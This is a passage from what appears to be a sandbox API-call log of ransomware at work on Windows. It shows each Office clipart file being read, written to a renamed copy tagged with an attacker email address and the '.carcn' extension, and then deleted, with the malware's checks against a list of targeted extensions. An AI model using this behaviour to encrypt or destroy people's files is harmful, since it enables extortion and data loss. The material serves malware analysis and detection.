lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.536] SetEndOfFile (hFile=0x344) returned 1 [0305.537] CloseHandle (hObject=0x344) returned 1 [0305.537] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.537] SetEndOfFile (hFile=0x364) returned 1 [0305.538] CloseHandle (hObject=0x364) returned 1 [0305.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 1 [0305.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0305.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0305.846] lstrlenW (lpString=".doc") returned 4 [0305.846] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0305.846] lstrlenW (lpString=".docx") returned 5 [0305.846] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0305.846] lstrlenW (lpString=".pdf") returned 4 [0305.846] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0305.846] lstrlenW (lpString=".xls") returned 4 [0305.846] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0305.846] lstrlenW (lpString=".xlsx") returned 5 [0305.846] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0305.846] lstrlenW (lpString=".ppt") returned 4 [0305.847] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0305.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0305.847] lstrlenW (lpString=".zip") returned 4 [0305.847] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0305.847] lstrlenW (lpString=".rar") returned 4 [0305.847] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0305.847] lstrlenW (lpString=".bz2") returned 4 [0305.847] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0305.847] lstrlenW (lpString=".7z") returned 3 [0305.847] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0305.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0305.847] lstrlenW (lpString=".dbf") returned 4 [0305.847] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0305.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0305.847] lstrlenW (lpString=".1cd") returned 4 [0305.847] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0305.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0305.847] lstrlenW (lpString=".jpg") returned 4 [0305.847] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0305.848] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.848] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0305.848] GetLastError () returned 0x0 [0305.848] ReadFile (in: hFile=0x338, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x3264, lpOverlapped=0x0) returned 1 [0305.865] WriteFile (in: hFile=0x348, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x3270, lpOverlapped=0x0) returned 1 [0305.866] ReadFile (in: hFile=0x338, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.866] WriteFile (in: hFile=0x348, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.866] SetEndOfFile (hFile=0x348) returned 1 [0305.869] CloseHandle (hObject=0x348) returned 1 [0305.871] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.871] SetEndOfFile (hFile=0x338) returned 1 [0305.873] CloseHandle (hObject=0x338) returned 1 [0305.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 1 [0305.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0305.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0305.875] lstrlenW (lpString=".doc") returned 4 [0305.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.875] lstrlenW (lpString=".docx") returned 5 [0305.875] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0305.876] lstrlenW (lpString=".pdf") returned 4 [0305.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.876] lstrlenW (lpString=".xls") returned 4 [0305.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.876] lstrlenW (lpString=".xlsx") returned 5 [0305.876] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0305.876] lstrlenW (lpString=".ppt") returned 4 [0305.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0305.876] lstrlenW (lpString=".zip") returned 4 [0305.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.876] lstrlenW (lpString=".rar") returned 4 [0305.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.876] lstrlenW (lpString=".bz2") returned 4 [0305.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.876] lstrlenW (lpString=".7z") returned 3 [0305.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0305.876] lstrlenW (lpString=".dbf") returned 4 [0305.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0305.876] lstrlenW (lpString=".1cd") returned 4 [0305.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0305.876] lstrlenW (lpString=".jpg") returned 4 [0305.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.877] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.877] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0305.906] GetLastError () returned 0x0 [0305.906] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x5c2c, lpOverlapped=0x0) returned 1 [0306.290] WriteFile (in: hFile=0x34c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x5c30, lpOverlapped=0x0) returned 1 [0306.291] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.291] WriteFile (in: hFile=0x34c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0306.291] SetEndOfFile (hFile=0x34c) returned 1 [0306.685] CloseHandle (hObject=0x34c) returned 1 [0306.685] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.685] SetEndOfFile (hFile=0x334) returned 1 [0306.686] CloseHandle (hObject=0x334) returned 1 [0306.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 1 [0306.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0306.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0306.687] lstrlenW (lpString=".doc") returned 4 [0306.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.688] lstrlenW (lpString=".docx") returned 5 [0306.688] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0306.688] lstrlenW (lpString=".pdf") returned 4 [0306.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.688] lstrlenW (lpString=".xls") returned 4 [0306.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.688] lstrlenW (lpString=".xlsx") returned 5 [0306.688] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0306.688] lstrlenW (lpString=".ppt") returned 4 [0306.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0306.688] lstrlenW (lpString=".zip") returned 4 [0306.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.688] lstrlenW (lpString=".rar") returned 4 [0306.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.688] lstrlenW (lpString=".bz2") returned 4 [0306.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.688] lstrlenW (lpString=".7z") returned 3 [0306.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0306.688] lstrlenW (lpString=".dbf") returned 4 [0306.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0306.688] lstrlenW (lpString=".1cd") returned 4 [0306.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0306.688] lstrlenW (lpString=".jpg") returned 4 [0306.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.689] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.689] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0306.689] GetLastError () returned 0x0 [0306.690] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x4b28, lpOverlapped=0x0) returned 1 [0306.726] WriteFile (in: hFile=0x34c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x4b30, lpOverlapped=0x0) returned 1 [0306.728] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.728] WriteFile (in: hFile=0x34c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0306.728] SetEndOfFile (hFile=0x34c) returned 1 [0306.728] CloseHandle (hObject=0x34c) returned 1 [0306.728] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.728] SetEndOfFile (hFile=0x334) returned 1 [0306.729] CloseHandle (hObject=0x334) returned 1 [0306.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 1 [0306.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0306.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0306.732] lstrlenW (lpString=".doc") returned 4 [0306.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.732] lstrlenW (lpString=".docx") returned 5 [0306.732] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0306.732] lstrlenW (lpString=".pdf") returned 4 [0306.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.732] lstrlenW (lpString=".xls") returned 4 [0306.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.732] lstrlenW (lpString=".xlsx") returned 5 [0306.732] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0306.732] lstrlenW (lpString=".ppt") returned 4 [0306.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0306.732] lstrlenW (lpString=".zip") returned 4 [0306.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.732] lstrlenW (lpString=".rar") returned 4 [0306.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.732] lstrlenW (lpString=".bz2") returned 4 [0306.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.732] lstrlenW (lpString=".7z") returned 3 [0306.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0306.732] lstrlenW (lpString=".dbf") returned 4 [0306.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0306.733] lstrlenW (lpString=".1cd") returned 4 [0306.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0306.733] lstrlenW (lpString=".jpg") returned 4 [0306.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.733] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.733] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0306.734] GetLastError () returned 0x0 [0306.734] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x3dd8, lpOverlapped=0x0) returned 1 [0306.757] WriteFile (in: hFile=0x34c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x3de0, lpOverlapped=0x0) returned 1 [0306.758] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.758] WriteFile (in: hFile=0x34c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0306.758] SetEndOfFile (hFile=0x34c) returned 1 [0306.762] CloseHandle (hObject=0x34c) returned 1 [0306.762] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.762] SetEndOfFile (hFile=0x334) returned 1 [0306.767] CloseHandle (hObject=0x334) returned 1 [0306.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.767] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 1 [0306.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0306.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0306.768] lstrlenW (lpString=".doc") returned 4 [0306.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.768] lstrlenW (lpString=".docx") returned 5 [0306.768] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0306.768] lstrlenW (lpString=".pdf") returned 4 [0306.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.768] lstrlenW (lpString=".xls") returned 4 [0306.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.768] lstrlenW (lpString=".xlsx") returned 5 [0306.768] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0306.768] lstrlenW (lpString=".ppt") returned 4 [0306.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0306.768] lstrlenW (lpString=".zip") returned 4 [0306.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.768] lstrlenW (lpString=".rar") returned 4 [0306.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.768] lstrlenW (lpString=".bz2") returned 4 [0306.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.768] lstrlenW (lpString=".7z") returned 3 [0306.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0306.768] lstrlenW (lpString=".dbf") returned 4 [0306.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0306.768] lstrlenW (lpString=".1cd") returned 4 [0306.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0306.769] lstrlenW (lpString=".jpg") returned 4 [0306.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.769] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.769] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0306.770] GetLastError () returned 0x0 [0306.770] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x10e0, lpOverlapped=0x0) returned 1 [0306.796] WriteFile (in: hFile=0x348, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x10f0, lpOverlapped=0x0) returned 1 [0306.798] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.798] WriteFile (in: hFile=0x348, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0306.798] SetEndOfFile (hFile=0x348) returned 1 [0306.798] CloseHandle (hObject=0x348) returned 1 [0306.798] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.798] SetEndOfFile (hFile=0x334) returned 1 [0306.799] CloseHandle (hObject=0x334) returned 1 [0306.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 1 [0306.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0306.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0306.800] lstrlenW (lpString=".doc") returned 4 [0306.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.800] lstrlenW (lpString=".docx") returned 5 [0306.800] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0306.800] lstrlenW (lpString=".pdf") returned 4 [0306.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.800] lstrlenW (lpString=".xls") returned 4 [0306.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.800] lstrlenW (lpString=".xlsx") returned 5 [0306.800] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0306.801] lstrlenW (lpString=".ppt") returned 4 [0306.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0306.801] lstrlenW (lpString=".zip") returned 4 [0306.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.801] lstrlenW (lpString=".rar") returned 4 